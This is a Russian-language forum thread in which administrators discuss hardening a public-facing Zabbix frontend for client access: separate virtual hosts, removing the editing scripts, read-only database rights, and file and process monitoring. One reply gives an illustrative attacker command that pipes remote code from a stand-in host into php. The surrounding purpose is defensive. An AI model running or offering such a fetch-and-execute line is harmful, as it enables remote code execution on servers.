Публичный доступ в frontend zabbix

[rekby]

Хочу в перспективе дать клиентам ограниченный доступ к мониторингу на просмотр (чтобы видели данные, относящиеся к их ресурсам). Клиенты могут быть произвольные, в т.ч. не исключаю что кто-то будет намеренно ломать zabbix-панель чтобы получить полный доступ и, например, рассылать команды с zabbix-сервера агентам.

Рассчитан ли Frontend zabbix на то что он будет находиться в открытом доступе и в нем будут логины посторонних людей или фронтенд не рассчитывется на то что его будут целенаправленно ломать?

[aib]

Я бы переформулировал вопрос:
Рассчитан ли {фронтенд}, отображающий данные с Zabbix, на целенаправленный взлом.

Ибо {фронтенд} может быть любой. По умолчанию - apache. Кто-то ставит nginx. Вы можете поставить любой HTTP-демон/сервер, который будет устойчив достаточно.

[rekby]

я имею ввиду именно взлом на уровне php-скриптов панели управления, который идут в комплекте с дистрибутивом zabbix.

[boomer]

я имею ввиду именно взлом на уровне php-скриптов панели управления, который идут в комплекте с дистрибутивом zabbix.

Как вариант для клиентов можно сделать отельный виртуальный домен под zabbix и выпилить из него все скрипты относящиеся к редактированию

[tuban]

Я сделал. Apache с ssl, клиент в отдельном виртуальном хосте. На отдельном сетевом интерфейсе белый адрес, открыт только один порт, причем доступ на него разрешен только с клиентских сетей.

В плане php - в 2.2.1 был баг, с помощью которого можно было получить супер-администратора при использовании http.

Но, можно поднять отдельный zabbix для клиентов и не париться.

[yukra]

Как насчет "держать 2 копии веб-интерфейса, причем для клиентской копии использовать учетную запись БД которая имеет права только на селекты по БД заббикса?"

[zabberman]

Угу, выпилить скрипты, обрезать доступ к БД. Если есть время - переписать gui на zabbix api, оставив только нужное.

[rekby]

Да, об ограниченном доступе к БД тоже подумал.

+ Придумал по incron отлавливать что была попытка изменения файлов фронтенда, при этом сразу закрывать клиентский доступ к базе и отправлять тревогу.

[yukra]

+ Придумал по incron отлавливать что была попытка изменения файлов фронтенда, при этом сразу закрывать клиентский доступ к базе и отправлять тревогу.

Это полумера. Чисто теоретически(!) может быть уязвимость типа sql-инъекции, которая будет давать возможность менять данные в БД, но не файлы фронтэнда. Или файл со "своим" кодом можно положить в /tmp и потом вызывать его оттуда (или вообще как "curl -s http://megahaker.net/megasploit.txt | php").

[rekby]

Это плюсом к ограничению достуа в базу данных.

Т.е. в итоге:
1. Доступ к БД только на чтение
2. Отслеживание попытки через изменение файлов - например shell загрузить. Мне кажется это будет первым что попробует сделать злоумышленник.

От инъекций на чтение чужих данных это конечно не спасет, но тут секретность не очень высокая - главное не дать выполнять команды через zabbix.

Еще рассматривал вариант держать реплику и коннектиться к реплике, а к основной базу вообще доступ не давать. Но посчитал что это уже перебор. Ограничение доступа внутри баз насколько я знаю хорошо сделано.

[yukra]

Это плюсом к ограничению достуа в базу данных.

Т.е. в итоге:
1. Доступ к БД только на чтение
2. Отслеживание попытки через изменение файлов - например shell загрузить. Мне кажется это будет первым что попробует сделать злоумышленник.

От инъекций на чтение чужих данных это конечно не спасет, но тут секретность не очень высокая - главное не дать выполнять команды через zabbix.

Еще рассматривал вариант держать реплику и коннектиться к реплике, а к основной базу вообще доступ не давать. Но посчитал что это уже перебор. Ограничение доступа внутри баз насколько я знаю хорошо сделано.

я бы еще сделал что-то типа такого в кроне:

ps  aux | grep "^nginx" | grep -v 'php-fpm: pool www\s*$\|nginx: worker process\s*$' | wc -l

(у меня от имени пользователя nginx работает и nginx и php-fpm) и триггер на "больше нуля"